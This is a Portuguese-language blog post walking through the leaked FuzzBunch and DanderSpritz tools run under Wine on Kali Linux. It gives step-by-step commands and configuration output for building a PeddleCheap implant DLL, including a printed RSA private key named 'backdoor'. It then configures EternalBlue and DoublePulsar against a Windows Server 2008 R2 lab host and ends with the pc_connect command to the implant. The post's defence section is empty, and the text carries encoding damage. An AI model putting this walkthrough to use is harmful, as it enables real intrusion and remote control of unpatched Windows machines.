Armas da NSA O DanderSpritz administrar computadores comprometidos.
Neste artigo vamos abordar um vazamento que ocorreu sexta-feira, 14 de abril de 2017, em que o grupo âShadowBrokersâ liberou vĂĄrias ferramentas de hacking, supostamente obtidas a partir do grupo conhecido como âEquation Groupâ (suspeitamente vinculado Ă NSA).
Este artigo se faz necessårio, mesmo após a publicação de diversos outros artigos pela comunidade de SI (Segurança da informação) por dois simples fatos:
O primeiro motivo Ê derivado ao fato de que todos os pesquisadores optaram por demonstrar de alguma forma esta ferramenta utilizando apenas o sistema operativo Windows, não foi encontrado dentro da comunidade nenhum outro artigo que aborda-se este tema pela vertente do Linux, o que deixou margem para uma demonstração das ferramentas e um comparativo na seção de consideraçþes finais (conclusão).
O segundo motivo Ê que dentro da comunidade de SI em 90% dos casos os testes de pentest são realizados com sistemas derivados do Linux que podem ser customizados pelo profissional de segurança, garantindo uma melhor performance durante os testes e usabilidade, segundo o site fossbytes.com realizar um teste profissional de pentest não Ê mais uma questão de OS (Operation System), mas de escolher um sistema avançado e dedicado de pentest baseado em Linux.
Itâs time to pause the archaic Windows vs. OS X vs. Linux discussion and switch over to some advanced operating systems dedicated to pen testing and ethical hacking.
Este artigo estĂĄ dividido da seguinte forma:
- Introdução
- Iniciando o Ataque
- FuzzBunch
- DanderSpritz
- Soluçþes de Defesa
- ConclusĂŁo
- ReferĂŞncias
Introdução
Uma das ferramentas do vazamento divulgadas de forma pĂşblica pelo grupo de Hackers ShadowBrokers, dĂĄ-se pelo nome de Fuzzbunch a outra DanderSpritz.
O DanderSpritz pode-se definir como uma console de comando e controle de gerenciamento baseado em Java para administrar computadores comprometidos.
O Fuzzbunch pode-se compar ao famoso Metasploit, com a diferença que Ê escrito em Python em vez de Ruby, a linguagem de programação padrão do Metasploit. Ele contÊm uma estrutura fåcil de usar para o usuårio final, a fim de enviar exploits e interagir com os computadores comprometidos.
A estrutura do FuzzBunch contĂŠm vĂĄrias exploraçþes prontas a serem usadas, cada uma para tipos especĂficos de alvo, seja sistema operativo ou serviço, entre a lista temos de forma resumida os seguintes executĂĄveis:
- Easybee-1.0.1.exe
- Easypi-3.1.0.exe
- Eclipsedwing-1.5.2.exe
- Educatedscholar-1.0.0.exe
- Emeraldthread-3.0.0.exe
- Emphasismine-3.4.0.exe
- Englishmansdentist-1.2.0.exe
- Erraticgopher-1.0.1.exe
- Eskimoroll-1.1.1.exe
- Esteemaudit-2.1.0.exe
- Eternalromance-1.3.0.exe
- Eternalromance-1.4.0.exe
- Eternalsynergy-1.0.1.exe
- Ewokfrenzy-2.0.0.exe
- Explodingcan-2.0.2.exe
- Eternalblue-2.2.0.exe
- Eternalchampion-2.0.0.exe
Iniciando o ataque
Para dar inicio ao ataque contra sistemas operativos Windows, utilizamos o Kali Linux, carregado com a framework em um ambiente controlado de laboratório para a execução deste exemplo pråtica, a reprodução deste laboratório fica por conta de cada um, sendo de sua inteira responsabilidade as açþes que praticar.
NĂŁo ĂŠ intenção deste artigo explicar o passo-a-passo da configuração das ferramentas em ambiente Linux, apenas demonstrar que ĂŠ possĂvel que sejam instaladas e as tarefas executadas com sucesso, o Fuzzbunch ĂŠ executado por (fb.py) & DanderSpritz ĂŠ executado por (start_lp.py).
Depois de instalado e configurado deve proceder para os prĂłximos passos, descritos em baixo.
Para iniciar a ferramenta em modo grĂĄfico deve digitar o seguinte comando:
root@kali:~# wine cmd.exe
Microsoft Windows 5.2.3790 (1.8.7)
Z:\root>c:
C:\>cd nsa
C:\nsa>cd windows
C:\nsa\windows>FUZZBUNCH-GUI.bat
C:\nsa\windows>c:
C:\nsa\windows>cd c:\nsa\windows
C:\nsa\windows>java -jar Start.jar

Com isto pode observar que uma janela dentro do Kali Linux Ê aberta onde deve configurar os seguintes parâmetros:
- Operation Disk
- Resource Directory
- Log Directory
- Configuration Directory
- Local Comms
Todos os padrĂľes remetem para um valor absoluto dentro do disco, entenda que mesmo estando a trabalhar dentro do Linux tem que selecionar o disco c:\

De seguida feitas as configuraçþes iniciais que não estão no escopo deste artigo deve clicar em GO para lançar o DanderSprintz. Demora alguns segundos, dependendo da sua configuração de software, no caso apresentado utilizamos 8GB de RAM e um Intel Core Dual de 2,66Ghz.

Agora Ê a vez de aguardar alguns minutos atÊ todos os módulos serem carregados, para depois se iniciar com as configuraçþes do Payload.
Para se iniciar as configuraçþes Ê necessårio digitar o seguinte comando, dentro da console do DanderSpritz:
pc_prep

ApĂłs isto 19 possĂveis payloads sĂŁo apresentados na console, neste momento ĂŠ necessĂĄrio selecionar um que mais se caracterize com o protocolo, aplicação e o hardware de nosso alvo (32 ou 64 bits).
Possible payloads:
- - 0) - Quit
- - 1) - Standard TCP (x64-winnt Level4 sharedlib)
- - 2) - HTTP Proxy (x64-winnt Level4 sharedlib)
- - 3) - Standard TCP AppCompat-enabled (x64-winnt Level4 sharedlib)
- - 4) - HTTP Proxy AppCompat-enabled (x64-winnt Level4 sharedlib)
- - 5) - Standard TCP WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
- - 6) - HTTP Proxy WinsockHelperApi-enabled (x64-winnt Level4 sharedlib)
- - 7) - Standard TCP (x64-winnt Level4 exe)
- - 8) - HTTP Proxy (x64-winnt Level4 exe)
- - 9) - Standard TCP Generic (i386-winnt Level4 sharedlib)
- - 10) - HTTP Proxy Generic (i386-winnt Level4 sharedlib)
- - 11) - Standard TCP AppCompat-enabled (i386-winnt Level4 sharedlib)
- - 12) - HTTP Proxy AppCompat-enabled (i386-winnt Level4 sharedlib)
- - 13) - Standard TCP UtilityBurst-enabled (i386-winnt Level4 sharedlib)
- - 14) - HTTP Proxy UtilityBurst-enabled (i386-winnt Level4 sharedlib)
- - 15) - Standard TCP WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
- - 16) - HTTP Proxy WinsockHelperApi-enabled (i386-winnt Level4 sharedlib)
- - 17) - Standard TCP (i386-winnt Level4 exe)
- - 18) - HTTP Proxy (i386-winnt Level4 exe)
- - 19) - Standard TCP (i386-winnt Level3 sharedlib)
- - 20) - HTTP Proxy (i386-winnt Level3 sharedlib)
- - 21) - Standard TCP (i386-winnt Level3 exe)
- - 22) - HTTP Proxy (i386-winnt Level3 exe)
- - 23) - Standard TCP (x64-winnt Level3 sharedlib)
- - 24) - HTTP Proxy (x64-winnt Level3 sharedlib)
- - 25) - Standard TCP (x64-winnt Level3 exe)
- - 26) - HTTP Proxy (x64-winnt Level3 exe)
Selecionamos para demonstração o payload 1 Standard TCP (x64-winnt Level4 sharedlib), porque nosso alvo Ê um servidor windows Server 2008 R2 de 64bits.
Logo de seguida vamos apresentar a configuração inteira deste payload, o que pode e normalmente varia de mĂĄquina para mĂĄquina, entĂŁo este procedimento tem que ser especĂfico para cada alvo, nĂŁo pode seguir um padrĂŁo Ăşnico de configuração.
Pick the payload type1Update advanced settingsYESPerform IMMEDIATE CALLBACK?NOUpdate the Windows firewall when listening?YESEnter the PC ID [0]0Change the number of LISTEN LOOPS?YESEnter the number of listen loops [6]6Change the LISTEN DURATION per loop?NODo you want to LISTEN?YESChange the LISTEN HOURS?NOChange LISTEN BIND ADDRESSNOEnter the callback address (127.0.0.1 = no callback) [127.0.0.1]127.0.0.1Change CALLBACK PORTS?NOChange exe name in version information?NO- Pick a key- 0) Exit- 1) Create a new key- 2) DefaultEnter the desired option1Enter the key namebackdoorRunning command 'local run -command "C:\nsa\windows\Resources\Pc\Tools\i386-winnt\GenKey.exe 2048 C:\nsa\windows\Resources\Pc\Keys\backdoor" -redirect -noinput'Loading module 1419 (addr=z0.0.0.1| type=dsz | file=Run_Data.dll)Module loadedLoading module 219 (addr=z0.0.0.1| type=dsz | file=Run_Target.dll)Module loadedLoading module 419 (addr=z0.0.0.1| type=dsz | file=Run_Lp.dll)Module loadedProcess started with id 73Generating key...Public Key: Bits : 2048 Modulus :bdeebc9de8ee082b8a2ac6e9fbff67a4ef9d8e5cf3a31c1218fe9f75c5acd63dd7d2cfb2bb23ac0219b08bb44170fa649b8ff2366d4f533efe2328b21ede3835defbf26495ca1dee6a5dfaf3ff2d0fdc3a765408ba9919701f8646c66797a90fed9e84d4e596db09c2f7648ed339a14eeb2b9c9237231b68054be59bcd7cc39a1732bf9e685403ffd2d018838b527eff538c03c19f6c3a3db4faced7b45157b6f214af9687c2af3c599d39b4d0bbe9fde031a95b60d342f0b73f93094bff7580b6ef6f336fb594834e79d1bbb98d50d896903a0b856bc1908a3572bd6d4d751bde5acc61d30251124da553cc7d7dc74d1ed0eb5def8a8f785a6621e36c5e9905 Exponent :00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001Private Key: Bits : 2048 Modulus :bdeebc9de8ee082b8a2ac6e9fbff67a4ef9d8e5cf3a31c1218fe9f75c5acd63dd7d2cfb2bb23ac0219b08bb44170fa649b8ff2366d4f533efe2328b21ede3835defbf26495ca1dee6a5dfaf3ff2d0fdc3a765408ba9919701f8646c66797a90fed9e84d4e596db09c2f7648ed339a14eeb2b9c9237231b68054be59bcd7cc39a1732bf9e685403ffd2d018838b527eff538c03c19f6c3a3db4faced7b45157b6f214af9687c2af3c599d39b4d0bbe9fde031a95b60d342f0b73f93094bff7580b6ef6f336fb594834e79d1bbb98d50d896903a0b856bc1908a3572bd6d4d751bde5acc61d30251124da553cc7d7dc74d1ed0eb5def8a8f785a6621e36c5e9905 Public Exponent :00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001 Exponent :b37da00663103fec55a06366d05ce7a7b9425e3d7d89918790d36002be92bdcca7df73a4e6b1a9663abcdae9b8467a7b05801d584e28fef4b2daab24d9830bffed00906b7a1b0dfa37cf24cfdd40ca92473577e8dfdebb6978813ef55504c0226b5eb90d310345708e2d997c58254849fa78b6787f5ed011979fc8175b3422ec232a72b8210264958c1a22054aeb84369ea5797065cfe228d186f32d99e678a11609d3905792c41d9bddc3c2f4d5da23ec2dc394fbf3ac79cc99cb05f0c76e0f20bedd1aa0112ab5db03787d1aa1bb8fe0a2efadf7995dcec61c8d583306a1d473780aaa35dc389c8832a312fbe5508eeb98ea166010bb2f749a14b90108b241 Prime 1 :f48d5c9552b08467d3cdc4a72f37fd30350a3c5056a98839a87ab84904f55bc35a7f8576b51339b97429ea64f2c7f6ba100489f251496527723c9b15d7d74a39f0c5eef3878641015f45842746ac7f71b7e352fcf2bfe3aeab05abc415abe6f64a2fb77458bf1b892d4e0001169890c2295f508500c7dd52c2b7bff3ae77105d Prime 2 :c6d2d48dbe787ef0decf9c1fb2a1251220773f29ed805ed4ebb4e6f6767769550e420d1723594fb276c27bad611a78457b55b06ed31ae3e3ab63dfd23489a81ecf085182ca11cd50c9fd5af1ed0267cb53f43c6cd391a9c8b0f828f75f8e394a8d14e05b8c78ffe9e5188f5dfc689ced4cfd94aaadcd9e984ded16eb2141c0c9 Prime Exponent 1:88aaab6fe3ab340396316b52072861fd5bd6e18800367423ccccf04a16544c38eb4d52b7d94fea3582fe9db856997b7fd5cdc38dc0f1a46f1bff54a82b5c6c65def1aead3832c6074f47d927ddee2eb6cd8e63e56a7fe46ccbb4ba9e358240eba8dfebc54087648b0fdf844f1762a19b70658ce9175b9a8b52b83fb49dee7a1d Prime Exponent 2 :b5595e58bf6fe6d14b59f05c953118c014eecfa52da5565a3d782ee6851ddbeca1e9ab48fc8c1cfe7a06608abf34469991aa921833e3a61366a3dd663d57860a3beaa976735b937b6a11f65f0e40906dcc70cca0b2c57d28ba0a504b7a541e7b9a7d7d3ae3c10623d03bfba0cd769a14749223851eac9b48ee631ff16dcf2cc9 Coefficient :89a27582d66daf6dca7e7e64df67d335f4b860577338ae629c9196a5ac818d1ff87b93cb9dda1b188b1bfc126ed7d70165a600e4bc8805a31e6d940aada65bd98df1f4d0a2537f0cf5b4e654ecc6390f1a84befa7712de46fd550bdcd9a68c845404899d4c83987c9920a84e4cdc2289e0dde9101547989599b87e7075f8418f PrivateEncrypt -> PublicDecrypt SUCCEEDEDPublicEncrypt -> PrivateDecrypt SUCCEEDEDProcess terminated with status 0 Command completed successfully- Configuration:- - <?xml version='1.0' encoding='UTF-8' ?>- <PCConfig>- <Flags>- <PCHEAP_CONFIG_FLAG_DONT_CREATE_WINDOW/>- </Flags>- <Id>0x0</Id>- <ListenLoops>6</ListenLoops>- <CallbackAddress>127.0.0.1</CallbackAddress>- </PCConfig>- Is this configuration validYESDo you want to configure with FC?NO- Configured binary at:- C:\Logs\Proj1\z0.0.0.1\Payloads\PeddleCheap_2017_06_06_01h11m24s.221/PC_Level4_dll.configured
A configuração Ê um pouco extensa e Ê necessårio configurar 16 passos atÊ que o payload seja corretamente criado com sucesso.
De seguida o próximo passo Ê navegar atÊ à pasta onde a dll se encontra e verificar que foi criada com sucesso esta dll Ê o payload que foi gerado pelo DanderSpritz que serå injetado no windows, ou seja, no nosso alvo Ê importante aqui guardar o caminho exato que vai ser utilizado mais à frente durante a próxima configuração.

Repare que eliminamos um payload antigo com o comando del do MS-DOS.
O caminho ĂŠ o:
C:\Logs\Proj1\z0.0.0.1\Payloads\PeddleCheap_2017_06_06_01h11m24s.221/PC_Level4_dll.configured
NOTA: O nome depende do momento que o payload ĂŠ criado.
Agora devemos abir o prĂłximo programa que ĂŠ o Fuzzbunch com o seguinte comando:
C:\nsa\windows>python fb.py
Lembrando que continuamos a utilizar o Kali Linux, apenas estamos a emular o programa que por padrĂŁo funciona em Windows.
Posto isto nos deparamos com uma nova tela no shell onde precisamos configurar mais uma sÊrie de parâmetros.

Durante a configuração verificamos uma situação atĂpica na digitação do IP do alvo, o que nos obrigou a algum troubleshooting que depressa foi resolvido, com a abertura do programa diretamente pelo python conforme se pode observar na figura em baixo.

Após isto, os seguintes parâmetros foram configurados:
- Default Target IP Address []
- Default Callback IP Address
- Use Redirection []
- Base Log directory []
- Project []
- Set Target log directory []

Repare que o drive da pasta dos logs tem que ser alterada de D:\ para C:\ caso contrĂĄrio um erro de Access Denied ĂŠ verificado, isto se deve ao fato de que estamos a emular o drive C: do Windows dentro do Linux para rodar o programa.
Agora na console do fb, um comando bastante Ăştil ĂŠ o help que fornece uma lista completa de comandos que podem ser utilizados neste shell, um outro comando tambĂŠm interessante ĂŠ o banner, com ele temos uma visĂŁo de quantidades de ferramentas disponĂveis.
Repare que temos 2 Implants, 15 Exploits, 16 Touchers, 15 Payloads mais 2 Specials que necessitam de uma maior investigação, para se caracterizarem como do tipo zero-days exploits.
De seguida digitamos use e TAB para ver o nome de cada um deles.

No nosso caso vamos usar o EternalBlue seguido do Doublepulsar que explora uma falha no protocolo SMB porta TCP 445, que por norma funciona apenas internamente dentro das empresas, contudo em um outro artigo publicado demonstramos que este protocolo estå bem presente na internet, o que levantou uma falha enorme de segurança mundial com o malware wannacry tambÊm abordado nesse mesmo artigo.

Apenas vamos mencionar alguns dos parâmetros que devem ser alterados, pois por padrão jå vêem selecionados.
- Target [0] -> 1) WIN72K8R2
- Mode [Dane] -> FB (Fuzzbunch)
Por último deve aceitar a execução, para o programa continuar a ser executado, pode ocorrer que o Eternalblue falhe o exploit na primeira ou segunda tentativa, na figura abaixo pode perceber que ele falhou a primeira tentativa, depois conseguiu explorar o alvo com sucesso.

Repare que ele começa por enviar grandes pacotes de dados para o buffer do protocolo SMBv1 e por Ăşltimo para o SMBv2, caracterizando um tĂpico ataque de Buffer Overflow, que se caracteriza por uma anomalia onde um programa, ao escrever dados em um buffer, ultrapassa os limites desse mesmo buffer e sobrescreve na memĂłria adjacente dados que nĂŁo deveriam ser escritos.
De seguida vamos usar o Doublepulsar e configurar os parâmetros inicias, apenas os mais importantes vão ser mencionados.
- Architecture [x86] -> x64
- Function [0] -> 2 (RunDLL)
- DllPayload[] -> C:\Logs\Proj1\z0.0.0.1
- DllOrdinal[1] -> 5
A configuração correta do DllPayload Ê muito importante, pois ele foi criado no inicio com o DanderSpritz que serå utilizado por último para se ter acesso ao shell do alvo.

Ainda antes de executarmos o DoublePulsar, lançamos o wireshark no Kali para verificarmos o que vai ser enviado para o servidor alvo.

O interessante da captura ĂŠ que podemos ver alguns pontos interessantes, descritos a seguir:
- O Exploit utilizado o usuĂĄrio anonymous
- O Exploit utiliza o serviço IPC$
- O Exploit procura algum tipo de cĂłdigo de erro.

O compartilhamento IPC$ ĂŠ tambĂŠm conhecido como uma conexĂŁo de sessĂŁo nula. Usando esta sessĂŁo, o Windows permite que usuĂĄrios anĂ´nimos executem determinadas atividades, como enumeração de nomes de contas de domĂnio e compartilhamentos de rede.O compartilhamento IPC$ ĂŠ criado pelo serviço servidor do Windows.
Este compartilhamento especial existe para permitir subsequentes ligaçþes ao servidor de pipe nomeado. Pipes nomeados do servidor são criados por componentes internos do sistema operacional e por todos os aplicativos ou serviços que estão instalados no sistema. Quando o pipe nomeado Ê criado, o processo especifica a segurança que estå associado com o pipe e certifica-se de que o acesso Ê concedido apenas para os usuårios ou grupos especificados.
Segundo a Microsoft â No Windows Server 2003, Windows Server 2008 ou Windows Server 2008 R2, o compartilhamento IPC$ nĂŁo pode ser gerenciado ou restrita.â
EntĂŁo o Exploit acaba por explorar esta peculariedade dentro do SMB e consegue direitos dentro da pasta IPC$ para executar o seu payload.
Por último e de volta à consola do DanderSpritz, selecionamos a aba PeddleCheap e configuramos os seguintes parâmetros:
- Key -> Selecionamos a Default, mas poderiamos selecionar a key de nome backdoor criada inicialmente, apenas para efeitos didĂĄticos.
- Payload -> Selecionamos o Dandersprintz
- IP address do alvo -> 192.168.2.250
- Port TCP -> 8080 (Foi necessĂĄrio configurar o ficheiro C:\Logs\Proj1\z0.0.0.1
Clicamos em Connect to Target e exploramos com sucesso um servidor Windows Server 2008 R2 de 64 bits, com o seguinte comando:
pc_connect -key âDefaultâ -payload âDandersprintzâ -run âmemlibâ -target 192.168.2.250 8080

Soluçþes de Defesa:
ConclusĂŁo:
Neste artigo abordamos a ferramenta Fuzzbunch desenvolvida em python e a Dandersprintz desenvolvida em Java pela primeira vez em ambiente Linux.
A ferramenta apresenta uma interface GUI bastante prĂĄtica e funcional, permitindo o gerenciamento de âimplantesâ remotos com bastante facilidade, porĂŠm o que se torna mais complexo ĂŠ a necessidade de executar o Fuzzbunch em uma outra janela, o que no Linux nĂŁo ĂŠ trivial, pois ĂŠ necessĂĄrio abrir diretamente com o Python, caso contrĂĄrio alguns erros de digitação ocorreram, o que inviabiliza o uso da ferramenta.
Em relação ao teste efetuado em laboratório, reparamos que o Linux apresentou uma maior lentidão na execução do Payload , contudo a ferramenta sempre esteve eståvel, não apresentando nenhuma quebra de conexão com o alvo selecionado.
ConcluĂmos assim que o Dandersprintz e o Fuzzbunch funcionam perfeitamente no Linux, sem nenhuma incompatibilidade de execução do payload ou do exploit.
ReferĂŞncias:
----------------------------------//-----------------------//-------------------------------------
Autor: Carlos Rodrigues
Especialista em Eng. de Telecomunicaçþes e Segurança Computacional
Fundador e mentor do Projeto Open Source LibertyNET
#pentest #pentester #wifi #hack #networksecurity #anonymous #linux #hackathon #sunday #bugs #hacker #testing #hacking #hackaway #android #workshop #coffeetime #metasploit #danderspritz, #fuzzbunch, #eternalblue, #doublepulsar, #wannacry, #virus #Empire
#kali #security #code #pentesting #ethicalhacking #blackhat #whitehat #greyhat #hardening #infosec #goodread #netsec #research #mobile #reverse_engineering #banking #cybersecurity #governance #nsa #cia
#app #malware #keyboard #os #ads #user #data #servers #whatsapp #vulnerability #cobalt #hackingi #feelingproud #cursos #seguridad #softrain #ethical #lpi #libertynet #osint#rdsweb
https://www.facebook.com/notes/carlos-rodrigues-it/a-new-approach-of-fuzzbunch-and-danderspritz-on-linux/1487722821293302/
- Gerar link
- X
- Outros aplicativos
Marcadores:
ShadowBrokers
ComentĂĄrios
Postar um comentĂĄrio